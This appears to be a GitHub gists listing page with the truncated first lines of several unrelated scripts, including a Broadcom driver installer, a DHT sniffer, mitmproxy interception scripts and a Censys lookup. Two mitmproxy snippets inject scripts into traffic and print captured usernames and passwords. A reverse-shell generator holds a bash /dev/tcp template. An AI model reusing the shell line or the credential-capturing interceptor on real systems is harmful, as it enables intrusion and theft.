This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# chmod +x broadcom_drivers.sh | |
# ./broadcom_drivers.sh | |
mkdir broadcom | |
cd broadcom | |
apt-get install linux-headers-`uname -r` build-essential -y | |
if [ `uname -m` == "i686" ] ; then | |
wget http://www.broadcom.com/docs/linux_sta/hybrid-v35-nodebug-pcoem-6_30_223_141.tar.gz |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Sniff a specific port for Bit Torrent DHT traffic and print | |
requests/responses in human readable form. | |
Reference: http://www.bittorrent.org/beps/bep_0005.html | |
""" | |
from pcapy import open_live | |
from bencode import bdecode |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# (this script works best with --anticache) | |
import sys | |
from bs4 import BeautifulSoup | |
class Injector: | |
def __init__(self, script_url): | |
self.script_url = script_url | |
def response(self, flow): | |
if flow.request.host in self.script_url: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Print values from forms named username and password respectively | |
def response(flow): | |
try: | |
flow.request.headers.pop('Referer') | |
except Exception: | |
pass | |
if flow.request.urlencoded_form: | |
try: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from urllib.request import build_opener, HTTPSHandler | |
from http.client import RemoteDisconnected | |
from hashlib import sha256 | |
from sys import argv, exit | |
from binascii import hexlify | |
import ssl | |
class NoException(Exception): | |
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from sys import argv, exit | |
from netifaces import AF_INET, ifaddresses | |
interface = 'tap0' | |
# Taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
templates = { | |
'bash': """bash -i >& /dev/tcp/{host}/{port} 0>&1""", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-Clipboard([switch] $Lines) { | |
if($Lines) { | |
$cmd = { | |
Add-Type -Assembly PresentationCore | |
[Windows.Clipboard]::GetText() -replace "`r", '' -split "`n" | |
} | |
} else { | |
$cmd = { | |
Add-Type -Assembly PresentationCore | |
[Windows.Clipboard]::GetText() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import censys.certificates | |
import censys.ipv4 | |
from sys import argv | |
UID = "**CHANGE**" | |
SECRET = "**CHANGE**" | |
def is_cloudflare(dn): |